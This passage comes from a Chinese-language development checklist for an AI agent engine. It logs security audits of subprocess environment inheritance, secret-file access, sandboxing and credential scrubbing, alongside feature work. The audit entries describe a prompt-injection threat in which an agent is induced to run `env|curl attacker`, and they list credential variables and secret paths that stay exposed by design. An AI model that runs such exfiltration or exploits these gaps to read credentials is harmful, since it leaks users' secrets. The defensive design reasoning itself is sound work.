tools[].env / mcp_servers[].env, 朝"手机应用式权限清单"产品愿景迈进. (**P1 安全修复**, 和 L511 同类但设计分叉) - [x] 🟢 **L511 审计闭环扫描 follow-up (P3 一致性债)**: 2026-04-15 全仓 `rg 'os\.Environ'` 完整扫描, 发现原 3 点审计手册漏掉 2 个点. `pkg/memory/sync_git.go:378` 是引擎内部调用 git binary 的继承点, 需要 SSH_AUTH_SOCK / HOME / GIT_AUTHOR_*, 审计为刻意继承不改. `pkg/tools/builtin/bash.go:833` 的 `filterSensitiveEnv()` **8 条黑名单** (+ bash_background.go:360 同源第二入口), 2026-04-15 L513 专项评估后**删除**. 评估路线: 先反向论证三个"不应升级白名单"的理由 (白名单边界在开放 shell 场景下无法枚举 / Permission 是主防线 / 云端 SaaS 沙盒会自然解决), 再反问"为什么保留黑名单", 发现 4 个结构性缺陷: (a) 枚举严重不全 — 漏 GOOGLE_API_KEY / AZURE_CLIENT_SECRET / AWS_ACCESS_KEY_ID / AWS_SESSION_TOKEN / NPM_TOKEN / KUBECONFIG / DATABASE_URL / HF_TOKEN / SLACK_BOT_TOKEN / MINIMAX_TOKEN_PLAN_KEY (本仓库自己在用的 key) 等 20+ 条, 过去一年多无人维护, 说明"加新敏感 env 同步枚举"的隐式纪律从未建立; (b) `GH_TOKEN` 是实锤 bug — 早期方案明确保留 GITHUB_TOKEN / GH_TOKEN 不过滤, 因为 gh CLI wrapper 需要, Flyto 反向过滤会在未来 Agent 用 gh 时直接挂; (c) 职责越界 — env 隔离应由消费层负责, 引擎假设 os.Environ() 就是该继承的, 消费层 (platform/ 层云端沙盒 / 未来 CLI 二进制) 在 engine.New 之前自行决定进程 env; (d) 防错了层 — 原黑名单的威胁模型是"用户把 API key 放在 shell env 里被 Agent 泄漏", 这是产品 UX 问题, 应靠把 SecretStore (engine.SetSecret / WithSecret) 的 CLI 入口做易用, 不是引擎里打补丁. 跨行业对齐: Claude Code 早期方案默认 return process.env 完全不过滤, 仅当 `CLAUDE_CODE_SUBPROCESS_ENV_SCRUB` 被 claude-code-action 在 `allowed_non_write_users` 场景自动打开时才启用 20 条黑名单 (威胁模型: 外部 PR 作者 prompt injection); Cursor / Aider / Jupyter / VS Code tasks 全都全继承. Flyto 架构比早期方案更干净: 把"云端 scrub 开关"职责完全推给 platform/ 层 (platform 在 engine.New 前 os.Unsetenv 即可, 一次保护所有 8 个入口), core 引擎保持最简. 反向思考覆盖"失去什么": 唯一失去场景是用户把秘密放 ~/.zshrc 不用 SecretStore 被 prompt injection 诱导 `env|curl attacker`, 4 个可接受理由 — SecretStore 是产品明确路径, Permission 层是主防线, 零生产影响 (无 CLI 二进制), 行业共识. **最终方案**: 删除 `filterSensitiveEnv` + `sensitiveEnvKeys` (bash.go L58-71 + L831-846) + `TestFilterSensitiveEnv` (bash_test.go L431-444), `bash.go:373` 和 `bash_background.go:360` 改为 `env := os.Environ()`, `bash_background.go` 加 `"os"` import, `bash_secret_ctx.go` 注释移除对 filterSensitiveEnv 的引用, 顺便修 GH_TOKEN bug. 文档同步: `pkg/plugin/doc.go` 清单从"8 入口 3 类"改为"8 入口 2 类" (Bash 从类 C 上升为类 B, 类 C 消失), 新增"Bash 工具 env 策略: L513 审计删除黑名单" 大段 (~80 行, 归档 4 个删除原因 + 反向讨论 + 跨行业对齐 + 禁止修改方向 + follow-up); 审计规则 A/B/C → A/B + 废弃类 C 明示. 反向归档: 不再需要维护 sensitiveEnvKeys 枚举, CI 检查 lint 也不需要. **Follow-up 已闭合 2026-04-15 (commit 4df876b)**: 审计前提错误 — CLI 入口不在 `core/cmd/flyto/` 而在 `tui/cmd/flyto/main.go` (107 行, 早已存在). 兑现方式收敛到 `-secret-env VAR1,VAR2`: 从 os.Getenv 读值登记到 engine.SetSecret, fail-fast 不降级. 原清单中的 `--secret KEY=VAL` (shell history 泄漏) / `--secret-file` (文件格式维护成本) / OS keychain (跨平台依赖) 均已评估并放弃, 不作 follow-up. tui/ 定位同步冻结为 dogfood CLI + L513 兑现点, 不再加大功能, 见 memory `project_tui_positioning.md`. (**P3 一致性债, 已闭合 2026-04-15**, 决策: 删除类 C 黑名单, 对齐类 B 全继承) - [x] 🟢 **L515 dogfood 首次端到端 smoke 审计**: 2026-04-15 首次真实模型调用 dogfood (tui/cmd/flyto + -secret-env), Test 1-4 全 PASS, cost $0.1029. **Finding 1 (已修)**: `tui/internal/render.go` 的 `truncate()` 函数纯字节切片破坏 UTF-8 多字节字符, 中文/日文/emoji 被切半产生 U+FFFD 替换符. 通过 Test 2 读 FLYTO.md 发现 "反对理由" 的 "反" 被从字节中间切开. 修复: 新增 `safeHeadBytes` / `safeTailBytes` 用 `utf8.RuneStart` snap 切点到 rune 边界; 写 7 条回归测试含 [10,300] maxLen 全量 stress; dogfood 重跑验证 "反...的设计必须标注:" 干净. **Finding 2 (不改, 归档)**: Read 工具在 `checker.go:393-398` 对非危险路径 auto-approve, `dangerousPaths` 覆盖 `.ssh/passwd/shadow` 但**刻意不覆盖** `.aws/.kube/.docker/.netrc/.pypirc` 等秘密文件. 审计后决策保持不改: 扩展黑名单会重蹈 L513 覆辙 (枚举不全), 正确解法在 `platform/internal/sandbox/` 容器沙盒 (云端路线). 注释归档落在 `filesystem.go` 的 `dangerousPaths` 声明上方. Memory: 扩展 `project_sandbox_local_vs_cloud.md` 的 Read + dangerousPaths 衍生归档段落. (**P2 安全审计闭合 + P1 UTF-8 bug 修复**, 双轨产出) - [x] 🟢 **L511 审计衍生任务**: `pkg/evolve/tool_builder.go:325, 360` evolve 子进程 env 继承 - 2026-04-15 审计**决策保持现状, 不改代码**. 评估结论: evolve 的信任模型和 plugin tool 根本不同 — 脚本由 LLM 在用户当前 session 里生成 + ApprovalFunc 人类实时审批 + SecretGuard 持久化前扫密钥 + MaxPerSession 速率限制, 等价于"用户手敲 bash", 不应套 L511 第三方代码威胁模型. 产品价值硬依赖 env 继承 ($GITHUB_TOKEN / $GOOGLE_APPLICATION_CREDENTIALS / $DOCKER_PASSWORD 支撑"Agent 自主造工具"卖点), 切白名单会打碎核心 UX. 本地 Flyto **无进程沙盒** (对齐 Claude Code / Cursor / Aider / Copilot 业内默认), 此前提下 env 白名单只堵 1/10 攻击面 ($ANTHROPIC_API_KEY 显式读取), 文件系统 / 网络 / /proc 绕过都在射程外, 是安全剧场. 行业对比: Jupyter / VS Code tasks / Claude Code bash 工具全都全量继承, 唯一沙盒化的 OpenAI Code Interpreter 是**云服务**, 与本地 CLI 信任模型不同. **产品决策 (2026-04-15)**: (a) 本地 CLI 保持 os.Environ() 继承, 不引入沙盒; (b) 未来云端 SaaS (飞驼云仓等平台化产品) **必须**上真实进程沙盒 (Docker / gVisor / Firecracker), 但封装属 platform/ 层而非 core/, 通过依赖注入替换 exec.Cmd 行为. 文档同步: `pkg/plugin/doc.go` 子进程 env 隔离段落新增"Evolve 工具的例外"大段说明 + `pkg/evolve/tool_builder.go` 两个 execute 函数加 NOTE 导流注释, 明确标记"禁止未来审计顺手改白名单". Memory: `project_sandbox_local_vs_cloud.md` 存档本地 vs 云端沙盒分叉决策. (**P2 安全审计闭合**, 刻意非修复) ### 13.1 预定义代理类型 🟢 - [x] Explore agent(优先 Glob/Grep,只读工具集) - [x] Plan agent(任务分解,不执行) - [x] Verification agent(验证流程) ### 13.2 工具过滤精细度 🟢 - [x] 不同代理模式不同白名单(三层过滤:父工具集 → AllowedTools 交集 → DisallowedTools 差集) - [x] ALL_AGENT_DISALLOWED_TOOLS / ASYNC_AGENT_ALLOWED_TOOLS 分离(globalDisallowed + AgentDefinition.DisallowedTools) ### 13.3 Prompt Cache 共享 ✅ - [x] 子代理复用主代理 system prompt bytes:SharedSystemPromptBytes 三级优先级(SubAgentConfig 显式 → 父 Config 字段 → 独立渲染) - [x] cache key 匹配:cachedToolDefs 快照 + toolDefsSnapshot(),SpawnSubAgent 读缓存不触发 Track(),防止 turnCount 偏移导致 cache_control 位置漂移 ### 13.4 工具权限精细控制 ✅ - [x] MCP 前缀自动通过(mcp__ 工具跳过 AllowedTools 交集过滤,仍受 DisallowedTools/globalDisallowed 约束) - [x] DefaultGlobalDisallowedTools 补齐(ExitPlanMode/EnterPlanMode/AskUserQuestion/TaskOutput/TaskStop + Agent) - [x] AllowedSubAgentTypes 字段(限制此 Agent 可 spawn 的子 Agent 类型,canUseTool 运行时检查 agent_type JSON 字段) - [x] BackgroundAllowedTools 字段(Background=true 时附加工具白名单,MCP 仍自动通过,仓储场景可定制) - [x] AgentDefLoader 接口 + FileAgentDefLoader + ScanAgentDefsDir(从目录加载自定义 AgentDef YAML,与 ScanSkillsDir 对称) ### 14.1 SkillDef + SkillRegistry ✅ - [x] SkillDef 结构体(Name/Description/Context/AllowedTools/Model/Paths/AgentType...) - [x] SkillRegistry(Register/RegisterBuiltin/RegisterAll/Get/List/Invoke) - [x] Engine.skillRegistry 字段 + SkillRegistry() 访问器 - [x] SetupSkillTool(文件发现 + SkillTool 执行器绑定) ### 14.2 Frontmatter 完整支持 ✅ - [x] context: fork/inline 执行模式 - [x] agent 字段(fork 时的代理类型) - [x] model 覆盖(model: inherit 支持) - [x] user-invocable / argument-hint / version / when_to_use - [x] allowed-tools: 单行逗号 + YAML 列表双格式 - [x] paths: glob 激活过滤字段(已解析,执行 P1) - [x] glob 花括号保护({ts,tsx} 不被逗号拆分) ### 14.3 文件发现 ✅ - [x] ScanSkillsDir:子目录格式(name/SKILL.md)优先于扁平格式(name.md) - [x] LoadSkillFile:单文件解析,Source + SkillDir 字段 - [x] ExpandPrompt:$ARGUMENTS / ${FLYTO_SKILL_DIR} / ${FLYTO_SESSION_ID} 替换 ### 14.4 Inline/Fork 执行 ✅ - [x] invokeInline:展开模板,作为工具结果返回给 LLM - [x] invokeFork:SpawnSubAgent,fork 深度限制(≤2),超限降级为 inline - [x] 深度通过 context.Value 传播(hitchhiker pattern) ### 14.5 SkillTool ✅ - [x] pkg/tools/builtin/skill.go - SkillExecutor 接口 + SkillResult + SkillEntryDesc - [x] SkillTool 实现 tools.Tool 接口,SetExecutor 注入 - [x] 动态 Description 包含 Skill 列表(8000 字符截断) - [x] inline/fork 输出格式(AllowedTools 信息性追加) ### 14.P1 ✅ - [x] paths glob 运行时激活过滤:SkillDef.Paths + MatchesCwd(glob+前缀双模式) + SkillRegistry.ListForCwd - [x] IsSkillPrompt 标记:/斜杠命令引擎内展开,runConfig.isSkillPrompt=true - [x] Session-level Hook 隔离:ResolveHooksMgr + NewCompositeManager,session hooks 不污染全局 - [x] hide-from-slash-command-tool frontmatter 字段(UserInvocable=false) ### 15.1 PromptBundle + BundleRegistry ✅ - [x] Section struct(Static/CacheBreak/Compute) - [x] SectionRegistry 实例绑定缓存(Reset/Invalidate) - [x] PromptBundle 接口(StaticSections + DynamicSections) - [x] BundleKey{ModelFamily, Scenario} + BundleRegistry(Register/Resolve/SetDefault) - [x] NewDefaultBundleRegistry 工厂(预装 claude+programming) ### 15.2 缓存边界优化 ✅ - [x] SYSTEM_PROMPT_DYNAMIC_BOUNDARY 改为结构化 SystemPromptBlock.CacheScope - [x] 静态段落合并为 ephemeral 块(将来升级为 global scope) - [x] 动态段落合并为 ephemeral 块(会话级缓存) - [x] volatile 段落(DANGEROUS_uncached 等价)CacheScope="" 不缓存 - [x] buildAPIRequest 按块设置 cache_control ### 15.3 默认 Bundle(claude+programming)✅ - [x] 8 个静态 sections(对应早期方案 的 7 个函数 + git_protocol) - [x] 6 个动态 sections(instructions/tool_descs/env_info/summarize/evolve/append) - [x] Context value helpers 注入运行时状态(cwd/modelID/toolDescs 等) ### 15.4 SDK 扩展 API ✅ - [x] Engine.RegisterPromptBundle(key, bundle) 公开注册接口 - [x] Engine.ResetSectionCache() 手动失效 - [x] compact 后自动 Reset section cache - [x] Config.Scenario + Config.ModelFamily 控制 Bundle 选择 - [x] inferModelFamily 从模型 ID 推断族("claude-*" → "claude") ### 15.7 中文 Bundle ✅ - [x] prompts_zh.go - 9 个静态段落完整中文翻译(语义与英文版一字不差) - [x] NewChineseBundle() - 中文静态段落 + 继承 DefaultBundle 动态段落 - [x] ChineseBundleKeys() - 5 个中文模型族预设 key(qwen/deepseek/ernie/glm/hunyuan) - [x] RegisterChineseBundle(registry) - 一键批量注册便捷函数 - [x] 9 个测试(静态中文验证,动态继承,BuildPromptBlocks 集成,批量注册) ### 15.6 P1 补充 ✅ - [x] BundleOverlay 类型(基于 base Bundle 覆盖指定 section,链式调用,其余继承) - [x] OverrideStatic / OverrideDynamic / OverrideVolatile / OverrideSection 四种覆盖方式 - [x] NewBundleFromFunc 函数式 Bundle 工厂(快速原型/测试用) - [x] WithPromptLanguage / PromptLanguageFromCtx context 语言偏好(P2 预留) - [x] WithBundleKey(key) RunOption(per-request Bundle 切换,SaaS 多场景) - [x] BundleKeyFor(modelFamily, scenario) 便捷构造函数 ### 15.5 测试 ✅(47+ 测试) - [x] SectionRegistry 缓存/重置/精确失效 - [x] BundleRegistry 精确匹配/回退/覆盖 - [x] BuildPromptBlocks 输出形状(缓存开关/volatile/空 section 跳过) - [x] DefaultBundle 静态/动态 sections 验证 - [x] Builder 集成测试(BuildSystemPromptBlocks/向后兼容) - [x] BundleOverlay 无覆盖/静态/动态/volatile/链式/未知名称/集成测试 - [x] BundleFromFunc 基本用例/nil 函数 - [x] PromptLanguage context helpers ### 16.1 Dream 引擎 ✅ - [x] 三层门槛触发:时间(24h)+ 会话数(5 次)+ 扫描节流(10 分钟)+ 文件锁 - [x] 分布式文件锁(flock),防止多进程并发 consolidation - [x] 锁回滚机制(任务被 kill 时恢复 mtime) - [x] mtime-as-state:lock 文件 mtime = lastConsolidatedAt(消除 crash 重复触发 bug) - [x] SessionProvider 接口(跨行业抽象)+ FileSessionProvider(CLI JSONL 扫描) - [x] PeriodicInterval:SDK/API 长驻进程定时触发(CLI 不需要) ### 16.2 Dream 四阶段提示 ✅ - [x] Phase 1 - Orient:ls 记忆目录 + 读 MEMORY.md - [x] Phase 2 - Gather:transcript grep 示例(TranscriptDir 可选) - [x] Phase 3 - Consolidate:合并信号到现有话题,转换相对日期,修正矛盾 - [x] Phase 4 - Prune:更新 MEMORY.md 索引,<200行/<25KB 双重限制 - [x] Session hint:传入自上次巩固以来的会话 ID 列表 - [x] Bash 只读约束注释(指令层 + MemoryDirRestrict 兜底) ### 16.3 DreamTask ✅ - [x] DreamTaskStore 后台任务注册和状态追踪(5 个阶段枚举) - [x] Turns []DreamTurn 进度报告(30 条滚动窗口,空轮跳过) - [x] FilesTouched 去重追踪(通过 onMessage 回调从 tool_use 提取 file_path) - [x] 可中断(Context cancel + 锁回滚) ### 16.4 Stop Hook 集成 ✅ - [x] 查询循环结束时 RecordSession() + go CheckAndRun(rootCtx) - [x] ActivityDream 引用计数(防止 Close() 误判空闲) - [x] Engine.Close() 等待 Dream goroutine 退出(3s 超时保护) ### 16.5 SubAgent 扩展 ✅ - [x] RunSyncWithCallback(onTurn 回调,每 assistant 轮次触发) - [x] ToolUseInfo(Name + FilePath 简化结构,消费方不需要解析 blocks) ### 17.1 计划生成(P0)✅ - [x] EnterPlanMode 工具(设置 plan 权限模式 + 保存 prePlanMode) - [x] ExitPlanMode 工具(从文件读计划,触发 PlanApprovalEvent) - [x] PlanStore 接口(FilePlanStore + MemoryPlanStore) - [x] Word slug 唯一文件名(路径遍历防护) - [x] ApprovalPolicy 接口(单用户/多人/自动审批可扩展) ### 17.2 计划步骤(P1)✅ - [x] PlanStep{ID, Description, Tools, Complexity, Deps} 依赖图 - [x] 按步骤顺序或并行执行(消费方决策,引擎暴露步骤即可)- ReadySteps() + Kahn 算法封装 - [x] 步骤失败时的重规划 - RegisterStep 动态追加 + SkipDependents 拓扑传播 - [x] 进度追踪和报告 - PlanProgress + PlanProgressSnapshot + PlanProgressEvent + AttachProgress ### 18.1 协调器角色 ✅ - [x] Leader Agent 分解任务 → 分配给 Worker Agents(Team struct) - [x] 专用系统提示(编排任务,不直接执行)- Config.IsOrchestrator + orchestratorGuidance 5条原则 - [x] Worker 工具集限制(通过 AgentDefinition.AllowedTools/DisallowedTools) ### 18.2 任务通知 ✅ - [x] Worker 完成时生成 `` XML 块 - [x] 包含:task-id, status, summary, agent-type, duration-ms - [x] Leader 据此决定下一步(通过 pendingTeamNotifications 注入 runLoop) ### 18.3 Scratchpad ✅ - [x] Scratchpad TTL 键值暂存区(线程安全,惰性过期,Set/Get/Delete/Clear/Keys/Len) - [x] scratchpad_write / scratchpad_read / scratchpad_list 三件套内置工具 - [x] ScratchpadStore 接口解循环导入(builtin 包不直接依赖 engine 包) - [x] FileScratchpad 文件持久化(SHA-256文件名+原子写入+惰性过期,Config.ScratchpadDir触发,跨进程共享,25测试) ### 18.4 Worker 生命周期 ✅ - [x] 并行启动多个 Worker(sync.WaitGroup + goroutine) - [x] Worker 失败处理(WorkerResult.Error 字段) - [x] 资源清理(InboxRouter.Close) ### 19.1 核心接口 ✅ - [x] BridgeTransport 接口(SessionConn 工厂 + http.Handler) - [x] SessionConn 接口(Send/Recv/Done/Close) - [x] BridgeEvent(JSON 可序列化,带 Last-Event-ID) - [x] ClientMessage(prompt/permission_reply/close 统一结构) - [x] EventSerializer(engine.Event → BridgeEvent,atomic seq ID) ### 19.2 消息去重与批量上传 ✅ - [x] BoundedUUIDSet(环形数组+map,O(1) 去重,FIFO 淘汰) - [x] SerialBatchEventUploader(串行+背压,loop 替代递归) ### 19.3 SSE Transport ✅ - [x] SSETransport(GET /events + POST /messages) - [x] Last-Event-ID 断线重连(事件环形缓冲,ResumeWindow 条) - [x] X-Accel-Buffering: no(nginx 防缓冲) - [x] Ping keepalive goroutine(15s 注释行维持连接) - [x] 写超时保护(防慢客户端 goroutine 泄漏) ### 20.1 会话生命周期管理 ✅ - [x] DaemonManager(goroutine pool,Accept 循环,双重检查创建) - [x] SessionPool + capacityWake(chan struct{} 广播唤醒,O(1)) - [x] SessionIsolation 接口(SharedIsolation + IsolatedIsolation + 工厂) ### 20.2 健康检测 ✅ - [x] HeartbeatService(单 goroutine 扫描所有会话,O(n)) - [x] IdleTimer(可重置定时器,channel 信号控制,无 time.Timer Race) - [x] CrashRecovery(指数退避重试,MaxRetries,OnCrash/OnGiveUp 回调) ### 20.3 远程计划(来自17.3)🟢 ✅ - [x] 本地进程提交计划到守护进程(FilePlanQueue + PlanCommandServer UDS) - [x] 轮询执行进度和结果(Status + plan JSON 文件直读) - [x] 步骤粒度状态追踪(StepExecStatus + onStepDone 实时更新) - [x] 崩溃恢复(RecoverPending:running→pending at-least-once) - [x] TTL 自动清理(24h 后删除终态计划文件) - [x] Engine 接线(EnablePlanQueue/PlanQueueDir/PlanQueueSessionID,FLYTO_PLAN_SOCK) ## Platform HTTP API Server ✅ - [x] 多租户 API Key(TenantConfig + map 索引 + authMiddleware) - [x] SessionPool 容量控制(MaxSessions + 5s 等待超时) - [x] 持久 SSE(GET /v1/sessions/{id}/events,长连接) - [x] POST /v1/sessions/{id}/messages → 202 + 异步 runAndStream - [x] Last-Event-ID 断线重连(事件环形缓冲 sseEventRecord) - [x] 会话空闲超时(IdleTimer 集成) - [x] 权限转发(HandlePermission + channel 桥接两个独立 HTTP 请求) - [x] CORS / 速率限制 / 日志 / 恢复中间件继承自早期方案 - [x] SessionPool.Release() 修复:closed 状态下静默返回防 double-close panic - [x] 测试:35 个测试覆盖全部 handler + 中间件 + 历史缓冲 + 速率限制 ### 21.1 内存 Inbox(同进程通信)✅ - [x] 本地进程间消息传递(MemoryInbox,buffered channel 256) - [x] 用于 Team Leader ↔ Worker 通信(InboxRouter) - [x] UDS 实现(跨进程)- UDSServer fire-and-forget + FLYTO_SESSION_SOCK 注入 + MonitorTool(monitor_progress) ### 21.2 消息协议 🟢 - [x] 统一 Message 结构体(ID/Type/From/To/Timestamp/Payload) - [x] 8 种消息类型(PermissionRequest/Response/IdleNotification/TaskAssignment/Shutdown等) - [x] 各消息类型的 Payload 结构体 + JSON 序列化 - [x] InboxRouter(agentName → Inbox 映射,自动创建,线程安全) ### 22.1 API 交互细节 ✅ - [x] stop_reason 不可靠:不依赖 API 返回的 stop_reason,自己追踪 tool_use block(engine.go hasToolUseBlocks) - [x] max_tokens 先低后高:默认 8K(p99 才 4.9K),截断后升级到 64K,仅一次(engine.go maxTokensEscalated) - [x] 529 重试区分前台/后台:后台任务不重试,防止级联雪崩(api/retry IsForeground) - [x] 空响应兜底:partial-stream 检测(收到 message_start 但无 content block),重试 ≤2 次(engine.go isPartialStream + ErrStreamTruncated) - [x] 不完整 JSON 缓存:tool_use input 的 JSON 可能跨 delta,字符串拼接而非 partial 解析(engine.go block.partialJSON +=) ### 22.2 缓存和性能细节 ✅ - [x] TTL 缓存后台刷新:过期时返回旧值,后台 goroutine 更新,thundering herd 防护(internal/cache/ttl.go + 11 个测试) - [x] LRU Peek vs Get:观察不改变驱逐顺序(filecache.go O(1) LRU + Peek 不更新 LRU) - [x] API 预连接:初始化时 HEAD 请求预热 TCP+TLS(模块 8.3 Preconnector) - [x] Prompt cache 内容 hash:PromptHashTracker SHA-256,变化时自动 ResetSectionCache(internal/cache/prompt_hash.go) - [x] 子代理复用主代理 system prompt bytes:SharedSystemPromptBytes 三级优先级传递(subagent.go) - [x] Per-tool schema hash:ToolSchemaTracker SHA-256 逐工具追踪,StableFirstWithBoundary 排序 + cache_control,防止不稳定工具破坏缓存前缀(internal/cache/tool_schema_hash.go + ~30 个测试) ### 22.3 安全细节 ✅ - [x] Bash 占位符随机盐:sed -i 解析中用 crypto/rand 8字节盐防 & 注入(sed_edit_parser.go) - [x] 权限分类器截断兜底:max_tokens 导致空响应时降级到 DecisionAsk(classifier_ai.go collectStreamResponse stopReason) - [x] 重定向目标静态性检查:区分 `> file` (静态) vs `> $var` (动态)(permission/redirect.go) ### 22.4 消息处理细节 ✅ - [x] FlushGate:历史消息 POST 期间排队新消息,保证顺序(engine.go FlushGate) - [x] normalizeMessagesForAPI:孤立 tool_result 修复(ToolResultPairingNormalizer),OrphanThinkingFilter(normalize.go 9步管道) - [x] 会话恢复:孤立 thinking 过滤 + 中断哨兵注入(session_manager.go ResumeSession + maybeInjectResumeSentinel) ### INF-1 可观测性(EngineObserver)✅(与模块 0 相同,详见顶部) - [x] EventObserver / MetricObserver / TraceObserver 接口 - [x] StderrObserver / NoopObserver / CompositeObserver / BufferedObserver - [x] 所有关键路径埋点(API 调用,工具执行,权限检查,压缩,会话) - [x] StrictMode(严格模式:测试环境异常时 panic 而非静默修复) - [x] MockObserver(测试用) ### INF-2 文件历史/回滚 + ToolCapability 协议 ✅ - [x] ToolCapability 协议(DryRun / Reversible / CapabilityProvider 可选接口) - [x] FileEdit 前自动备份原文件 - [x] FileWrite 前自动备份(如果文件已存在) - [x] Memory Save 前自动备份(Backupper 接口解耦循环依赖,InjectBackupper 后置注入) - [x] 备份存储在 ~/.flyto/history//(内容寻址去重) - [x] 回滚 API:Engine.Rollback(ctx, messageID) - [x] 备份清理(FileHistory.Prune:MaxAgeDays=30 + MaxVersions=50 两阶段清理) - [x] Observer 埋点:每次备份/回滚记录事件 - [x] FileEdit / FileWrite 实现 DryRunnable + Reversible + CapabilityProvider - [x] OperationLog 统一操作日志(Saga 补偿模式) - [x] Orchestrator 自动为 Reversible 工具生成 UndoInfo - [x] Engine.runLoop 工具执行后记录 OperationLog ### INF-3 优雅关闭 ✅ - [x] Engine.Close() 分层关闭:防重入(atomic) → cancel root context → 等待 → 分层清理 → Observer 最后刷新 - [x] Root context 贯穿引擎生命周期(Dream/Memory extraction 用 e.rootCtx 而非 background) - [x] closeWithTimeout 每个资源独立超时保护(一个挂起不阻塞其他) - [x] observerCloser 接口检测(BufferedObserver/CompositeObserver/自定义实现统一关闭) - [x] Config.CloseTimeout 可配置(默认 10s,仓储 daemon 可设 30s) - [x] engine_closing / engine_closed Observer 事件 - [x] Engine.Closed() / Engine.Context() 暴露生命周期状态 - [x] SIGINT/SIGTERM 处理:Engine 只提供 Close(),信号处理在 cmd/server 层(Engine 是库不是进程) - [x] 10 个测试(防重入/context 取消/Observer 刷新/超时/事件) ### INF-4 会话活动追踪 ✅ - [x] ActivityTracker 核心(引用计数 + reason 分类 + 线程安全) - [x] 心跳机制(busy 时 HeartbeatInterval 定时触发 OnHeartbeat) - [x] 空闲检测(IdleDelay 延迟后触发 OnIdle,新活动可取消) - [x] OnBusy/OnIdle/OnHeartbeat 回调(CLI/SDK/API/daemon 通用) - [x] Engine 集成:API 调用 + 工具执行 Start/Stop - [x] Config.ActivityConfig 可配置 - [x] Engine.Activity() 暴露追踪器 - [x] Close 时停止定时器 + 记录最终统计 - [x] Observer 事件:engine_busy / engine_idle / engine_heartbeat / activity_tracker_closed - [x] 缺失埋点补齐:subagent_background_start/complete,session_closed,memory_extraction_start/complete - [x] 12 个测试覆盖 Start/Stop/OnBusy/OnIdle/OnHeartbeat/Close/Observer ### INF-7 引擎竞态修复 ✅(2026-04-07) - [x] `pkg/security/audit_test.go` - NoopAuditSink + CompositeAuditSink 测试(10 个用例,含跨行业 Extra 字段验证) - [x] `close_test.go` `idleCalled bool` → `atomic.Bool`(OnIdle 回调从 timer goroutine 写,无锁 plain bool = DATA RACE) - [x] `activity.go` heartbeat goroutine 捕获 refcount 快照(lock 释放后再读 t.refcount = DATA RACE) - [x] `close_test.go` `eventCollector` 加 `sync.Mutex`(Event() 从 timer goroutine + test goroutine 并发调用) - [x] `bash_background.go` `BackgroundBashTask` 加字段级 `sync.RWMutex`,Status/ExitCode/EndTime 通过 `setFinal()`/`GetStatus()` 保护 - [x] `stream_guard.go` Watch goroutine 加 `sync.WaitGroup`,确保 idleWatchdog 退出后再 `close(guardedCh)` - [x] `stdio_transport.go` 加 `waitOnce sync.Once`,`monitorProcess`/`cleanupProcess` 通过 `cmdWait()` 保证 `exec.Cmd.Wait()` 只调用一次 - [x] 全量 `-race` 验证:20 个包全部通过,零 DATA RACE - [x] `pkg/memory/memory.go` - `fileStore` 加 `sync.RWMutex`:Save/Delete 写锁,List/FindRelevant 读锁,UpdateIndex 写锁(TOCTOU 修复:scan→build→write 原子化) ### INF-5 安全审计 ✅ - [x] 秘密扫描:Memory 写入前检测 API key,密码等敏感信息 - `pkg/security/secret_rule.go` - SecretRule + 45 条内置 gitleaks 规则 - `pkg/security/secret_scanner.go` - SecretGuard 接口 + DefaultSecretGuard(默认全路径,豁免白名单收窄) - `pkg/security/secret_scanner.go` - OnBlocked 回调(引擎注入,触发 secret_scan_blocked 事件) - `pkg/tools/builtin/filewrite.go` - NewFileWriteToolWithGuard 注入点 - `pkg/tools/builtin/fileedit.go` - NewFileEditToolWithGuard 注入点(只扫 new_string) - `pkg/memory/memory.go` - WithSecretGuard option,Save() 扫描(防止 Agent 写入带 key 的记忆) - `pkg/evolve/tool_builder.go` - NewToolBuilderWithGuard,save() 扫描(防止 Script 含 key) - [x] 操作审计日志:谁在什么时间对什么文件做了什么修改 - `pkg/security/audit.go` - AuditEntry + AuditSink 接口 + NoopAuditSink + CompositeAuditSink - `pkg/engine/audit_local.go` - LocalAuditSink(JSONL 追加写入,默认 ~/.flyto/audit.jsonl) - `pkg/engine/audit_observer.go` - AuditObserver 桥接 EventObserver → AuditSink - `engine.Config.AuditSink` - 设置后自动叠加 AuditObserver 进 Observer 链 - [x] 仓储场景:库存数据变更审计(谁改了多少) - AuditEntry.Extra map[string]string 支持跨行业扩展字段 - [x] 全路径接线(兼容性修复) - ActivityTracker refcount 泄漏修复(hook 拦截所有工具时的 continue 路径) - AuditObserver 通过 Config.AuditSink 自动注入(之前只实现未接线) - secret_scan_blocked 事件通过 OnBlocked 回调触发(之前从未 fire) - DreamEngine.Close() + Engine.Close() 接线(等待异步 Dream goroutine) - ActivitySubAgent + ActivityDream 埋点(之前常量定义但从未使用) ### INF-6 版本兼容 ✅ - [x] Transcript FormatVersion int(格式迁移用)+ EngineVersion string(audit 用)分层 - [x] Transcript MaxSupportedVersion 保护(新格式文件被旧引擎读取时明确报错) - [x] Transcript 迁移骨架:MigrateFunc 注册表 + migrateTranscript()(当前空表,无历史债) - [x] Frontmatter.Version int 字段(旧文件缺失规范化为 1,未知 key 静默忽略) - [x] Memory frontmatter MaxSupportedVersion 保护(version > max 跳过文件) - [x] Memory 迁移骨架:FrontmatterMigrateFunc 注册表 + migrateFrontmatter()(当前空表) - [x] Save() 写入 version: 1;ScanMemoryDir 调用迁移骨架 #### 引擎层--框架质量修复(代码审查) - [x] 🔴 P0: compact.go 全局状态隔离(contextWindowProvider/compactModelProvider 迁入 Compressor 实例字段,修复多租户同进程竞争) - [x] 🔴 P0: permission/checker.go 硬编码工具名(PermissionClass 动态注册表,第三方工具自动参与安全检查) - [x] 🔴 P0: compact.go 裸 http.DefaultClient(CompactHTTPClient 接口 + SetHTTPClient 注入,引擎层可托管重试/认证) #### 引擎层--凭据安全 - [x] 🔴 P0: engine.SetSecret() 凭据注入接口(SecretStore + Redact + Environ;Bash 子进程 env 注入;工具输出 value-level 脱敏;WithSecret per-request RunOption) - [x] 🟡 P1: OperationLog 凭据脱敏(Record 时 Output 使用 redactedOutput,防止明文 secret 进入持久日志;2026-04-07) #### 引擎层--SDK 编排能力 - [x] 🔴 P0: CheckpointEvent + WithCheckpointHandler RunOption(工具声明 RequiresCheckpoint=true;执行前 deny-safe 暂停确认;panic recovery;invokeCheckpointHandler) - [x] 🟡 P1: checkpoint_suggested 事件自动识别(高风险命令模式匹配;2026-04-07) - `permission.AnalyzeDanger` 结构化危险分析(返回 DangerInfo{Reason, Pattern}) - `flyto.CheckpointSuggestedEvent` 新事件类型(建议型,不阻塞执行流) - `engine.emitCheckpointSuggested` 在工具执行前分析 Bash/FileEdit/FileWrite - 29 个 permission 单元测试 + 6 个 